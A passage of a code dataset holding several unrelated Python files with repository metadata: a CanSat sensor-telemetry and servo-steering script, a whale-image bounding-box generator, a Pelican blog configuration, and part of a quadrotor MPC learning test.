GPIO.output(GPIO_TRIGGER, True)\n sleep(0.00001)\n GPIO.output(GPIO_TRIGGER, False)\n StartTime = time.time()\n StopTime = time.time()\n tmo = StartTime\n edis = 1\n while GPIO.input(GPIO_ECHO) == 0 and edis:\n StartTime = time.time()\n sleep(0.00001)\n if time.time()-tmo >= 0.06:\n edis = 0\n if edis:\n while GPIO.input(GPIO_ECHO) == 1:\n StopTime = time.time()\n TimeElapsed = StopTime - StartTime\n distance = TimeElapsed * 17150\n distance = \"%.2f\" % (distance/100)\n pd = distance\n return distance\n else:\n return pd\n\nina = INA219(0.1)\nina.configure()\n\ngpgga_info = \"$GNGGA,\"\nser = serial.Serial(\n port='/dev/ttyS0', #Replace ttyS0 with ttyAM0 for Pi1,Pi2,Pi0\n baudrate = 9600,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS,\n timeout=0.02\n)\nGPGGA_buffer = 0\nNMEA_buff = 0\nlat_in_degrees = \"\"\nlong_in_degrees = \"\"\ngpstime = \"\"\n\nPI = 3.14159265\nmpu9250 = FaBo9Axis_MPU9250.MPU9250()\nti=0\ncounter=0\nGPIO.output(buzz,1)\nGPIO.output(led,1)\nsleep(0.1)\nGPIO.output(buzz,0)\nsleep(0.9)\nGPIO.output(led,0)\n\nnow = datetime.now()\ncurrent_time = now.strftime(\"%H-%M-%S\")\nfilen = str(current_time)\nfinum = 0\nvdnum = 0\nmilli_sec = int(round(time.time() * 1000))\nsmilli = milli_sec\nlmillis = 0\nnakono = 0\n\nf = open(\"/home/pi/cansat/gycal.txt\", \"r\")\ncalmy = float(f.readline())\ncalmz = float(f.readline())\nnorth = float(f.readline())\ncalax = float(f.readline())\ncalay = float(f.readline())\ncalaz = float(f.readline())\nf.close()\n\ndef pmm():\n milli_sec = int(round(time.time() * 1000))\n print(\"start\",milli_sec%100000)\n\nwhile GPIO.input(launch) == 0:\n ti+=1\n ti = round(ti,2)\n mm = str(ti)\n#GPS\n try:\n received_data = (str)(ser.readline())\n GPGGA_data_available = received_data.find(gpgga_info)\n if (GPGGA_data_available>0):\n print(\"GPS!!\")\n GPGGA_buffer = received_data.split(\"$GNGGA,\",1)[1] #store data coming after \"$GPGGA,\" string \n NMEA_buff = (GPGGA_buffer.split(',')) #store comma separated data in buffer\n GPS_Info() #get time, latitude, longitude\n mm+= ','+lat_in_degrees+','+long_in_degrees\n else:\n mm+= ','+lat_in_degrees+','+long_in_degrees\n except:\n mm+= ','+lat_in_degrees+','+long_in_degrees\n#MPU BMP\n try:\n ac = mpu9250.readAccel()\n ma = mpu9250.readMagnet()\n mm+= \",\"+\"%.3f\" % (ac['x']+calax)+\",\"+\"%.3f\" % (ac['y']+calay)+\",\"+\"%.3f\" % (ac['z']+calaz)\n angle = atan2(ma['z']+calmz,ma['y']+calmy) * 180 / PI\n angle += north\n if angle < -180: angle+=360\n if angle > 180: angle-=360\n angle = \"%d\" %angle\n mm+= \",\"+angle\n except:\n mm+= \",,,,\"\n#BMP\n bmpp()\n try:\n alt = 44331.5 - 4946.62 * (float(pressure)*100) ** (0.190263)\n alt = \"%.2f\" %alt\n except:\n alt = \"\"\n try:\n temp = int(str(\"%d\" %float(temp)))\n except:\n temp = ''\n mm+= \",\"+str(temp)+\",\"+str(alt)\n#Ultrasonic\n Dis = distance()\n if Dis > 700: Dis = 700\n Dis = str(Dis)\n mm+= \",\"+Dis\n\n#Sensor\n s1 = GPIO.input(sensor)\n mm+= \",\"+str(s1)\n\n#Battery\n V = ina.voltage()\n I = ina.current()\n percent = \"%d\" %((V-6)/(2.2)*100)\n if int(percent)>100: percent = \"100\"\n if int(percent)<0: percent = \"0\"\n mm+=\",\"+percent\n\n camera.capture('tem.jpg', use_video_port=True)\n picture = Image.open('tem.jpg')\n picture.thumbnail((128,128), Image.ANTIALIAS)\n picture.save(\"s_tem.jpg\",optimize=True,quality=10)\n with open(\"s_tem.jpg\", \"rb\") as img_file:\n simg = \"img,\"+str(base64.b64encode(img_file.read()).decode('utf-8'))+\",,\"\n try:\n ser.write(bytes(mm,'utf-8'))\n ser.write(b\"\\n\")\n ser.write(bytes(simg,'utf-8'))\n ser.write(b\"\\n\")\n except:\n print(\"send error\")\n print(mm)\n\n milli_sec = int(round(time.time() * 1000))\n sleep((1000 - milli_sec % 1000)/1000)\n\n\n\n\n\n\n\n\n\n\n\nbmpp()\nsleep(1)\nbmpp()\nspacey = 0\npercentMin = 100\ntry:\n spacey = (44331.5 - 4946.62 * (float(pressure)*100) ** (0.190263))\nexcept:\n spacey = 0\n\nlaunch = 0\n#camera.start_recording('camera/'+filen+' ('+str(vdnum)+').h264')\n\nwhile True:\n ti+=1\n ti = round(ti,2)\n mm = str(ti)\n mmf = str(ti)\n#GPS\n try:\n received_data = (str)(ser.readline())\n GPGGA_data_available = received_data.find(gpgga_info)\n if (GPGGA_data_available>0):\n print(\"GPS!!\")\n GPGGA_buffer = received_data.split(\"$GNGGA,\",1)[1] #store data coming after \"$GPGGA,\" string \n NMEA_buff = (GPGGA_buffer.split(',')) #store comma separated data in buffer\n GPS_Info() #get time, latitude, longitude\n mm+= ','+lat_in_degrees+','+long_in_degrees\n mmf+= ','+lat_in_degrees+','+long_in_degrees+','+gpstime\n else:\n #mm+= ',n/a,n/a'\n #mmf+= ',n/a,n/a,n/a'\n mm+= ','+lat_in_degrees+','+long_in_degrees\n mmf+= ','+lat_in_degrees+','+long_in_degrees+','+gpstime\n except:\n #mm+= ',n/a,n/a'\n #mmf+= ',n/a,n/a,n/a'\n mm+= ','+lat_in_degrees+','+long_in_degrees\n mmf+= ','+lat_in_degrees+','+long_in_degrees+','+gpstime\n#MPU\n try:\n ac = mpu9250.readAccel()\n gy = mpu9250.readGyro()\n ma = mpu9250.readMagnet()\n mm+= \",\"+\"%.3f\" % (ac['x']+calax)+\",\"+\"%.3f\" % (ac['y']+calay)+\",\"+\"%.3f\" % (ac['z']+calaz)\n mmf+= \",\"+\"%.3f\" % (ac['x']+calax)+\",\"+\"%.3f\" % (ac['y']+calay)+\",\"+\"%.3f\" % (ac['z']+calaz)\n mmf+= \",\"+str(gy['x'])+\",\"+str(gy['y'])+\",\"+str(gy['z'])\n mmf+= \",\"+str(ma['x'])+\",\"+str(ma['y'])+\",\"+str(ma['z'])\n angle = atan2(ma['z']+calmz,ma['y']+calmy) * 180 / PI\n angle += north\n if angle < -180: angle+=360\n if angle > 180: angle-=360\n angle = \"%d\" %angle\n mm+= \",\"+angle\n mmf+= \",\"+angle\n except:\n mm+= \",,,,\"\n mmf+= \",,,,,,,,,,\"\n#BMP\n bmpp()\n try:\n alt = (44331.5 - 4946.62 * (float(pressure)*100) ** (0.190263))-spacey\n alt = \"%.2f\" %alt\n except:\n alt = \"\"\n try:\n temp = int(str(\"%d\" %float(temp)))\n except:\n temp = ''\n mm+= \",\"+str(temp)+\",\"+str(alt)\n mmf+= \",\"+str(temp)+\",\"+str(pressure)+\",\"+str(alt)\n#Ultrasonic\n Dis = distance()\n if float(Dis) > 7: Dis = \"7\"\n Dis = str(Dis)\n mm+= \",\"+Dis\n mmf+= \",\"+Dis\n\n#Sensor\n s1 = GPIO.input(sensor)\n mm+= \",\"+str(s1)\n mmf+= \",\"+str(s1)\n\n#Battery\n V = ina.voltage()\n I = ina.current()\n percent = (V-6)/(2.2)*100\n if percent > percentMin: percent = percentMin\n else: percentMin = percent\n percent = \"%d\" %percent\n if int(percent)>100: percent = \"100\"\n if int(percent)<0: percent = \"0\"\n mm+=\",\"+percent\n mmf+= \",\"+percent+\",\"+\"%.2f\" %V+\",\"+\"%.1f\"%I\n\n#Servo\n camera.capture('tem.jpg', use_video_port=True)\n img = Image.open('tem.jpg')\n red = 0\n green = 0\n blue = 0\n for i in range(520,761,10):\n for j in range(0,241,10):\n nino = img.getpixel((i,j))\n red += nino[0]\n green += nino[1]\n blue += nino[2]\n red = int(red/576)\n green = int(green/576)\n blue = int(blue/576)\n\n redl = 0\n greenl = 0\n bluel = 0\n for i in range(0,181,10):\n for j in range(0,181,10):\n nino = img.getpixel((i,j))\n redl += nino[0]\n greenl += nino[1]\n bluel += nino[2]\n redl = int(redl/324)\n greenl = int(greenl/324)\n bluel = int(blue/576)\n\n redr = 0\n greenr = 0\n bluer = 0\n for i in range(1099,1280,10):\n for j in range(0,181,10):\n nino = img.getpixel((i,j))\n redr += nino[0]\n greenr += nino[1]\n bluer += nino[2]\n redr = int(redr/324)\n greenr = int(greenr/324)\n bluer = int(blue/576)\n\n print(redl,greenl,red,green,redr,greenr)\n \n if green > red-30 and green > blue-30 and green > 50:\n lg = greenl > redl and greenl > bluel\n rg = greenr > redr and greenr > bluer\n if lg > rg:\n sa(0,270)\n mm+=\",0,270\"\n mmf+=\",0,270\"\n elif lg < rg:\n sa(270,0)\n mm+=\",270,0\"\n mmf+=\",270,0\"\n else:\n sa(135,135)\n mm+=\",135,135\"\n mmf+=\",135,135\"\n else:\n sa(135,135)\n mm+=\",135,135\"\n mmf+=\",135,135\"\n\n#Launch\n vec = math.sqrt(pow(ac['x']+calax,2)+pow(ac['y']+calay,2)+pow(ac['z']+calaz,2))\n if vec >= 2: \n launch = 1\n lmillis = int(round(time.time() * 1000))\n if int(round(time.time() * 1000)) - lmillis >= 30000 and launch == 1:\n launch = 2\n nakono = int(round(time.time() * 1000))\n if launch == 2:\n beep(u)\n beep(u)\n beep(u)\n sleep(2*u)\n beep(3*u)\n beep(3*u)\n beep(3*u)\n sleep(2*u)\n beep(u)\n beep(u)\n beep(u)\n if int(round(time.time() * 1000)) - nakono >= 20000 and launch == 2: launch = 0\n mm += \",\"+str(launch)\n mmf += \",\"+str(launch)\n\n\n fie = open(str(\"/home/pi/cansat/log/\"+filen+\" (\"+str(finum)+\").csv\"), \"a\")\n now = datetime.now()\n current_time = now.strftime(\"%H:%M:%S\")\n mmf+= \",\"+current_time\n fie.write(mmf+'\\n')\n fie.close()\n #if os.stat(\"/home/pi/cansat/log/\"+filen+\" (\"+str(finum)+\").csv\").st_size >= 4096: finum += 1\n\n picture = Image.open('tem.jpg')\n picture.thumbnail((96,96), Image.ANTIALIAS)\n picture.save(\"s_tem.jpg\",optimize=True,quality=10)\n with open(\"s_tem.jpg\", \"rb\") as img_file:\n simg = \"img,\"+str(base64.b64encode(img_file.read()).decode('utf-8'))+\",,\"\n try:\n ser.write(bytes(mm,'utf-8'))\n ser.write(b\"\\n\")\n ser.write(bytes(simg,'utf-8'))\n ser.write(b\"\\n\")\n except:\n print(\"send error\")\n print(mm)\n\n \n milli_sec = int(round(time.time() * 1000))\n sleep((1000 - milli_sec % 1000)/1000)\n\n # if(milli_sec - smilli >= 300000):\n # camera.stop_recording()\n # smilli = milli_sec\n # vdnum += 1\n # camera.start_recording('camera/'+filen+' ('+str(vdnum)+').h264')\n\n","repo_name":"SecretKr/NAV-Cansat-2021","sub_path":"Cansat/cansat.py","file_name":"cansat.py","file_ext":"py","file_size_in_byte":16010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"38698420167","text":"import numpy as np\r\nfrom scipy.ndimage import affine_transform\r\nfrom keras.preprocessing.image import img_to_array\r\nfrom keras import backend as K\r\nfrom keras.utils import Sequence\r\nfrom keras.models import Model, load_model\r\nfrom pandas import read_csv\r\nfrom PIL.ImageDraw import Draw\r\nfrom PIL import Image as pil_image\r\nfrom os.path import isfile\r\nimport pickle\r\nfrom tqdm import tqdm\r\n\r\nimg_shape = (128, 128, 1)\r\nanisotropy = 2.15\r\n\r\n\r\ndef expand_path(p):\r\n if isfile('../data-train/' + p):\r\n return '../data-train/' + p\r\n if isfile('../data-test/' + p):\r\n return '../data-test/' + p\r\n return p\r\n\r\n\r\n# Transform coordinates according to the provided affine transformation\r\ndef coord_transform(list, trans):\r\n result = []\r\n for x, y in list:\r\n y, x, _ = trans.dot([y, x, 1]).astype(np.int)\r\n result.append((x, y))\r\n return result\r\n\r\n\r\ndef read_raw_image(p):\r\n return pil_image.open(expand_path(p))\r\n\r\n\r\ndef read_array(p):\r\n img = read_raw_image(p).convert('L')\r\n return img_to_array(img)\r\n\r\n\r\n# Apply an affine transformation to an image represented as a numpy array.\r\ndef transform_img(x, affine):\r\n matrix = affine[:2, :2]\r\n offset = affine[:2, 2]\r\n x = np.moveaxis(x, -1, 0)\r\n channels = [affine_transform(channel, matrix, offset, output_shape=img_shape[:-1], order=1,\r\n mode='constant', cval=np.average(channel)) for channel in x]\r\n return np.moveaxis(np.stack(channels, axis=0), 0, -1)\r\n\r\n\r\n# Compute the coordinate transformation required to center the pictures, padding as required.\r\ndef center_transform(affine, input_shape):\r\n hi, wi = float(input_shape[0]), float(input_shape[1])\r\n ho, wo = float(img_shape[0]), float(img_shape[1])\r\n top, left, bottom, right = 0, 0, hi, wi\r\n if wi / hi / anisotropy < wo / ho: # input image too narrow, extend width\r\n w = hi * wo / ho * anisotropy\r\n left = (wi - w) / 2\r\n right = left + w\r\n else: # input image too wide, extend height\r\n h = wi * ho / wo / anisotropy\r\n top = (hi - h) / 2\r\n bottom = top + h\r\n center_matrix = np.array([[1, 0, -ho / 2], [0, 1, -wo / 2], [0, 0, 1]])\r\n scale_matrix = np.array([[(bottom - top) / ho, 0, 0], [0, (right - left) / wo, 0], [0, 0, 1]])\r\n decenter_matrix = np.array([[1, 0, hi / 2], [0, 1, wi / 2], [0, 0, 1]])\r\n return np.dot(np.dot(decenter_matrix, scale_matrix), np.dot(affine, center_matrix))\r\n\r\n\r\ndef read_for_validation(p):\r\n x = read_array(p)\r\n t = np.array([[1, 0, 0], [0, 1, 0], [0, 0, 1]])\r\n t = center_transform(t, x.shape)\r\n x = transform_img(x, t)\r\n x -= np.mean(x, keepdims=True)\r\n x /= np.std(x, keepdims=True) + K.epsilon()\r\n return x, t\r\n\r\n\r\ndef generate_bbox(to_do, model):\r\n print(len(to_do))\r\n ret = {}\r\n for p in tqdm(to_do):\r\n img, trans = read_for_validation(p)\r\n a = np.expand_dims(img, axis=0)\r\n x0, y0, x1, y1 = model.predict(a).squeeze()\r\n (u0, v0), (u1, v1) = coord_transform([(x0, y0), (x1, y1)], trans)\r\n ret[p] = (u0, v0, u1, v1)\r\n return ret\r\n\r\n\r\ndef preview(to_do, dic):\r\n for p in to_do:\r\n img = read_raw_image(p).convert('RGB')\r\n draw = Draw(img)\r\n x0, y0, x1, y1 = dic[p]\r\n draw.line([(x0, y0), (x0, y1), (x1, y1), (x1, y0), (x0, y0)], fill='yellow', width=6)\r\n img.save(p)\r\n\r\n\r\nif __name__ == '__main__':\r\n model = load_model('cropping.model')\r\n model.summary()\r\n to_do = [p for _, p, _ in read_csv('../data-raw/train.csv').to_records()]\r\n to_do += [p for _, p, _ in read_csv('../data-raw/sample_submission.csv').to_records()]\r\n dic = generate_bbox(to_do, model)\r\n with open('bbox.pickle', 'wb') as fout:\r\n pickle.dump(dic, fout)\r\n # preview(to_do[:25], dic)\r\n # print(dic)\r\n","repo_name":"maye9999/Humpback-Whale-Identification","sub_path":"maye/bbox.py","file_name":"bbox.py","file_ext":"py","file_size_in_byte":3811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"21589839935","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\n\nfrom datetime import datetime\n\nAUTHOR = u\"Project Fondue Team\"\nSITENAME = u\"L'Alpiniste\"\nSITEURL = 'http://blog.projectfondue.com:9901'\nSITESUBTITLE = u\"The blog of the Project Fondue Team\"\n\nDISQUS_SITENAME = \"projectfondue\"\nTIMEZONE = 'Europe/London'\n\nDEFAULT_LANG = 'en'\n\n# Blogroll\nLINKS = (('Stuart Colville', 'http://muffinresearch.co.uk/'),\n ('Cyril Doussin', 'cyril.doussin.name'),\n )\n\n# Social widget\nSOCIAL = (('You can add links in your config file', '#'),\n ('Another social link', '#'),)\n\nDEFAULT_PAGINATION = 10\nTAG_CLOUD_STEPS = 10\nTAG_CLOUD_MAX_ITEMS = 20\n\nTHEME = 'theme'\nTHEME_STATIC_PATHS = (['static', 'theme/static'])\n\nTWITTER_USERNAME = \"projectfondue\"\nLATEST_POST_LIMIT = 5\n\nYEAR = datetime.now().year\n\nDEFAULT_PAGINATION = 5\nRELATIVE_URLS = False\n\nARTICLE_URL = 'archives/{date:%Y}/{date:%m}/{date:%d}/{slug}'\nARTICLE_SAVE_AS = 'archives/{date:%Y}/{date:%m}/{date:%d}/{slug}.html'\nARTICLE_LANG_URL = 'archives/{date:%Y}/{date:%m}/{date:%d}/{slug}-{lang}'\nARTICLE_LANG_SAVE_AS = 'archives/{date:%Y}/{date:%m}/{date:%d}/{slug}-{lang}.html'\n\nPAGE_URL = 'pages/{slug}'\nPAGE_SAVE_AS = 'pages/{slug}.html'\nPAGE_LANG_URL = 'pages/{slug}-{lang}'\nPAGE_LANG_SAVE_AS = 'pages/{slug}-{lang}.html'\n\nPAGINATION_URL = '{name}-{page_num}'\nPAGINATION_SAVE_AS = '{name}-{page_num}.html'\n\nAUTHOR_URL = 'author/{name}'\nAUTHOR_SAVE_AS = 'author/{name}.html'\n\nCATEGORY_URL = 'category/{name}'\nCATEGORY_SAVE_AS = False\nTAG_URL = 'tag/{name}'\nTAG_SAVE_AS = 'tag/{name}.html'\n\n# DIRECT TEMPLATES\nPAGINATED_DIRECT_TEMPLATES = ('index', 'archives', 'authors', 'author')\nDIRECT_TEMPLATES = ('index', 'tags', 'archives')\n\nARCHIVES_SAVE_AS = 'archives/index.html'\n","repo_name":"project-fondue/blog","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"74769098814","text":"import unittest\nfrom abc import ABC, abstractmethod\nfrom collections.abc import Iterable, Iterator, Sequence\nfrom dataclasses import dataclass, field\nfrom functools import partial\nfrom itertools import chain\nfrom typing import Any, Deque, Generic, Optional, TypeVar, Union\n\nimport casadi as cs\nimport numpy as np\nfrom csnlp import Nlp, Solution\nfrom csnlp.util.math import quad_form\nfrom csnlp.wrappers import Mpc\nfrom gymnasium.wrappers import TimeLimit\nfrom scipy.linalg import cho_solve\n\nfrom mpcrl import (\n ExperienceReplay,\n LearnableParameter,\n LearnableParametersDict,\n LstdQLearningAgent,\n MpcSolverError,\n UpdateError,\n)\nfrom mpcrl import exploration as E\nfrom mpcrl import schedulers as S\nfrom mpcrl.util.math import cholesky_added_multiple_identities\nfrom mpcrl.wrappers.agents import RecordUpdates\n\n# ==================================================================================== #\n# ---------------------------------- START OLD CODE ---------------------------------- #\n# ==================================================================================== #\n\n\n@dataclass\nclass QuadRotorEnvConfig:\n T: float = 0.1\n g: float = 9.81\n thrust_coeff: float = 1.4\n pitch_d: float = 10\n pitch_dd: float = 8\n pitch_gain: float = 10\n roll_d: float = 10\n roll_dd: float = 8\n roll_gain: float = 10\n winds: dict[float, float] = field(default_factory=lambda: {1: 1.0, 2: 0.7, 3: 0.85})\n x0: np.ndarray = field(\n default_factory=lambda: np.array([0, 0, 3.5, 0, 0, 0, 0, 0, 0, 0])\n )\n xf: np.ndarray = field(\n default_factory=lambda: np.array([3, 3, 0.2, 0, 0, 0, 0, 0, 0, 0])\n )\n soft_constraints: bool = True\n x_bounds: np.ndarray = field(\n default_factory=lambda: np.array(\n [\n [-0.5, 3.5],\n [-0.5, 3.5],\n [-0.175, 4],\n [-np.inf, np.inf],\n [-np.inf, np.inf],\n [-np.inf, np.inf],\n [np.deg2rad(-30), np.deg2rad(30)],\n [np.deg2rad(-30), np.deg2rad(30)],\n [-np.inf, np.inf],\n [-np.inf, np.inf],\n ]\n )\n )\n u_bounds: np.ndarray = field(\n default_factory=lambda: np.array(\n [[-np.pi, np.pi], [-np.pi, np.pi], [0, 2 * 9.81]]\n )\n )\n\n\nclass QuadRotorEnv:\n spec: dict = None\n nx: int = 10\n nu: int = 3\n\n def __init__(self, config: Union[dict, QuadRotorEnvConfig] = None) -> None:\n config = init_config(config, QuadRotorEnvConfig)\n self.config = config\n\n # create dynamics matrices\n self._A, self._B, self._C, self._e = self.get_dynamics(\n g=config.g,\n thrust_coeff=config.thrust_coeff,\n pitch_d=config.pitch_d,\n pitch_dd=config.pitch_dd,\n pitch_gain=config.pitch_gain,\n roll_d=config.roll_d,\n roll_dd=config.roll_dd,\n roll_gain=config.roll_gain,\n winds=config.winds,\n )\n # weight for positional, control action usage and violation errors\n self._Wx = np.ones(self.nx)\n self._Wu = np.ones(self.nu)\n self._Wv = np.array([1e2, 1e2, 3e2, 3e2])\n\n @property\n def A(self) -> np.ndarray:\n return self._A.copy()\n\n @property\n def B(self) -> np.ndarray:\n return self._B.copy()\n\n @property\n def C(self) -> np.ndarray:\n return self._C.copy()\n\n @property\n def e(self) -> np.ndarray:\n return self._e.copy()\n\n @property\n def x(self) -> np.ndarray:\n return self._x.copy()\n\n @x.setter\n def x(self, val: np.ndarray) -> None:\n self._x = val.copy()\n\n def position_error(self, x: np.ndarray) -> float:\n return (np.square(x - self.config.xf) * self._Wx).sum(axis=-1)\n\n def control_usage(self, u: np.ndarray) -> float:\n return (np.square(u) * self._Wu).sum(axis=-1)\n\n def constraint_violations(self, x: np.ndarray, u: np.ndarray) -> float:\n W = self._Wv\n return (\n W[0] * np.maximum(0, self.config.x_bounds[:, 0] - x).sum(axis=-1)\n + W[1] * np.maximum(0, x - self.config.x_bounds[:, 1]).sum(axis=-1)\n + W[2] * np.maximum(0, self.config.u_bounds[:, 0] - u).sum(axis=-1)\n + W[3] * np.maximum(0, u - self.config.u_bounds[:, 1]).sum(axis=-1)\n )\n\n def phi(self, alt: Union[float, np.ndarray]) -> np.ndarray:\n if isinstance(alt, np.ndarray):\n alt = alt.squeeze()\n assert alt.ndim == 1, \"Altitudes must be a vector\"\n\n return np.vstack([np.exp(-np.square(alt - h)) for h in self.config.winds])\n\n def reset(\n self,\n seed: int = None,\n x0: np.ndarray = None,\n xf: np.ndarray = None,\n options: Optional[dict[str, Any]] = None,\n ) -> tuple[np.ndarray, dict[str, Any]]:\n self.np_random = np.random.default_rng(seed)\n if x0 is None:\n x0 = self.config.x0\n if xf is None:\n xf = self.config.xf\n self.x = x0\n self.config.x0 = x0\n self.config.xf = xf\n self._n_within_termination = 0\n return self.x, {}\n\n def step(self, u: np.ndarray) -> tuple[np.ndarray, float, bool, bool, dict]:\n u = np.asarray(u).squeeze() # in case a row or col was passed\n wind = (\n self._C\n @ self.phi(self.x[2])\n * self.np_random.uniform(\n low=[0, 0, -1, 0, 0, 0, -1, -1, 0, 0],\n high=[1, 1, 0, 0, 0, 0, 1, 1, 0, 0],\n ).reshape(self.nx, 1)\n )\n self.x = (\n self._A @ self.x.reshape((-1, 1))\n + self._B @ u.reshape((-1, 1))\n + self._e\n + wind\n ).flatten()\n error = self.position_error(self.x)\n usage = self.control_usage(u)\n violations = self.constraint_violations(self.x, u)\n cost = float(error + usage + violations)\n return self.x, cost, False, False, {\"error\": error}\n\n def render(self):\n raise NotImplementedError(\"Render method unavailable.\")\n\n def get_dynamics(\n self,\n g: Union[float, cs.SX],\n thrust_coeff: Union[float, cs.SX],\n pitch_d: Union[float, cs.SX],\n pitch_dd: Union[float, cs.SX],\n pitch_gain: Union[float, cs.SX],\n roll_d: Union[float, cs.SX],\n roll_dd: Union[float, cs.SX],\n roll_gain: Union[float, cs.SX],\n winds: dict[float, float] = None,\n ) -> Union[\n tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray],\n tuple[cs.SX, cs.SX, cs.SX],\n ]:\n T = self.config.T\n is_casadi = any(\n isinstance(o, (cs.SX, cs.MX, cs.DM))\n for o in [\n g,\n thrust_coeff,\n pitch_d,\n pitch_dd,\n pitch_gain,\n roll_d,\n roll_dd,\n roll_gain,\n ]\n )\n if is_casadi:\n diag = lambda o: cs.diag(cs.vertcat(*o)) # noqa: E731\n block = cs.blockcat\n else:\n diag = np.diag\n block = np.block\n assert winds is not None, \"Winds are required to compute matrix C.\"\n nw = len(winds)\n wind_mag = np.array(list(winds.values()))\n A = T * block(\n [\n [np.zeros((3, 3)), np.eye(3), np.zeros((3, 4))],\n [np.zeros((2, 6)), np.eye(2) * g, np.zeros((2, 2))],\n [np.zeros((1, 10))],\n [np.zeros((2, 6)), -diag((pitch_d, roll_d)), np.eye(2)],\n [np.zeros((2, 6)), -diag((pitch_dd, roll_dd)), np.zeros((2, 2))],\n ]\n ) + np.eye(10)\n B = T * block(\n [\n [np.zeros((5, 3))],\n [0, 0, thrust_coeff],\n [np.zeros((2, 3))],\n [pitch_gain, 0, 0],\n [0, roll_gain, 0],\n ]\n )\n if not is_casadi:\n C = T * block(\n [\n [wind_mag],\n [wind_mag],\n [wind_mag],\n [np.zeros((3, nw))],\n [wind_mag],\n [wind_mag],\n [np.zeros((2, nw))],\n ]\n )\n e = block([[np.zeros((5, 1))], [-T * g], [np.zeros((4, 1))]])\n return (A, B, e) if is_casadi else (A, B, C, e)\n\n\n@dataclass(frozen=True)\nclass QuadRotorSolution:\n f: float\n vars: dict[str, cs.SX]\n vals: dict[str, np.ndarray]\n stats: dict[str, Any]\n get_value: partial\n\n @property\n def status(self) -> str:\n return self.stats[\"return_status\"]\n\n @property\n def success(self) -> bool:\n return self.stats[\"success\"]\n\n def value(self, x: cs.SX) -> np.ndarray:\n return self.get_value(x)\n\n\nclass GenericMPC:\n def __init__(self, name: str = None) -> None:\n self.name = f\"MPC{np.random.random()}\" if name is None else name\n self.f: cs.SX = None # objective\n self.vars: dict[str, cs.SX] = {}\n self.pars: dict[str, cs.SX] = {}\n self.cons: dict[str, cs.SX] = {}\n self.p = cs.SX()\n self.x, self.lbx, self.ubx = cs.SX(), np.array([]), np.array([])\n self.lam_lbx, self.lam_ubx = cs.SX(), cs.SX()\n self.g, self.lbg, self.ubg = cs.SX(), np.array([]), np.array([])\n self.lam_g = cs.SX()\n self.h, self.lbh, self.ubh = cs.SX(), np.array([]), np.array([])\n self.lam_h = cs.SX()\n self.solver: cs.Function = None\n self.opts: dict = None\n\n @property\n def ng(self) -> int:\n return self.g.shape[0]\n\n def add_par(self, name: str, *dims: int) -> cs.SX:\n assert name not in self.pars, f\"Parameter {name} already exists.\"\n par = cs.SX.sym(name, *dims)\n self.pars[name] = par\n self.p = cs.vertcat(self.p, cs.vec(par))\n return par\n\n def add_var(\n self,\n name: str,\n *dims: int,\n lb: np.ndarray = -np.inf,\n ub: np.ndarray = np.inf,\n ) -> tuple[cs.SX, cs.SX, cs.SX]:\n assert name not in self.vars, f\"Variable {name} already exists.\"\n lb, ub = np.broadcast_to(lb, dims), np.broadcast_to(ub, dims)\n assert np.all(lb < ub), \"Improper variable bounds.\"\n\n var = cs.SX.sym(name, *dims)\n self.vars[name] = var\n self.x = cs.vertcat(self.x, cs.vec(var))\n self.lbx = np.concatenate((self.lbx, cs.vec(lb).full().flatten()))\n self.ubx = np.concatenate((self.ubx, cs.vec(ub).full().flatten()))\n\n # create also the multiplier associated to the variable\n lam_lb = cs.SX.sym(f\"lam_lb_{name}\", *dims)\n self.lam_lbx = cs.vertcat(self.lam_lbx, cs.vec(lam_lb))\n lam_ub = cs.SX.sym(f\"lam_ub_{name}\", *dims)\n self.lam_ubx = cs.vertcat(self.lam_ubx, cs.vec(lam_ub))\n return var, lam_lb, lam_ub\n\n def add_con(\n self, name: str, expr1: cs.SX, op: str, expr2: cs.SX\n ) -> tuple[cs.SX, cs.SX]:\n assert name not in self.cons, f\"Constraint {name} already exists.\"\n expr = expr1 - expr2\n dims = expr.shape\n if op in {\"=\", \"==\"}:\n is_eq = True\n lb, ub = np.zeros(dims), np.zeros(dims)\n elif op in {\"<\", \"<=\"}:\n is_eq = False\n lb, ub = np.full(dims, -np.inf), np.zeros(dims)\n elif op in {\">\", \">=\"}:\n is_eq = False\n expr = -expr\n lb, ub = np.full(dims, -np.inf), np.zeros(dims)\n else:\n raise ValueError(f\"Unrecognized operator {op}.\")\n expr = cs.simplify(expr)\n lb, ub = cs.vec(lb).full().flatten(), cs.vec(ub).full().flatten()\n self.cons[name] = expr\n group = \"g\" if is_eq else \"h\"\n setattr(self, group, cs.vertcat(getattr(self, group), cs.vec(expr)))\n setattr(self, f\"lb{group}\", np.concatenate((getattr(self, f\"lb{group}\"), lb)))\n setattr(self, f\"ub{group}\", np.concatenate((getattr(self, f\"ub{group}\"), ub)))\n lam = cs.SX.sym(f\"lam_{group}_{name}\", *dims)\n setattr(\n self, f\"lam_{group}\", cs.vertcat(getattr(self, f\"lam_{group}\"), cs.vec(lam))\n )\n return expr, lam\n\n def minimize(self, objective: cs.SX) -> None:\n self.f = objective\n\n def init_solver(self, opts: dict) -> None:\n g = cs.vertcat(self.g, self.h)\n nlp = {\"x\": self.x, \"p\": self.p, \"g\": g, \"f\": self.f}\n self.solver = cs.nlpsol(f\"nlpsol_{self.name}\", \"ipopt\", nlp, opts)\n self.opts = opts\n\n def solve(\n self, pars: dict[str, np.ndarray], vals0: dict[str, np.ndarray] = None\n ) -> QuadRotorSolution:\n assert self.solver is not None, \"Solver uninitialized.\"\n assert len(self.pars.keys() - pars.keys()) == 0, (\n \"Trying to solve the MPC with unspecified parameters: \"\n + \", \".join(self.pars.keys() - pars.keys())\n + \".\"\n )\n p = subsevalf(self.p, self.pars, pars)\n kwargs = {\n \"p\": p,\n \"lbx\": self.lbx,\n \"ubx\": self.ubx,\n \"lbg\": np.concatenate((self.lbg, self.lbh)),\n \"ubg\": np.concatenate((self.ubg, self.ubh)),\n }\n if vals0 is not None:\n kwargs[\"x0\"] = np.clip(\n subsevalf(self.x, self.vars, vals0), self.lbx, self.ubx\n )\n sol: 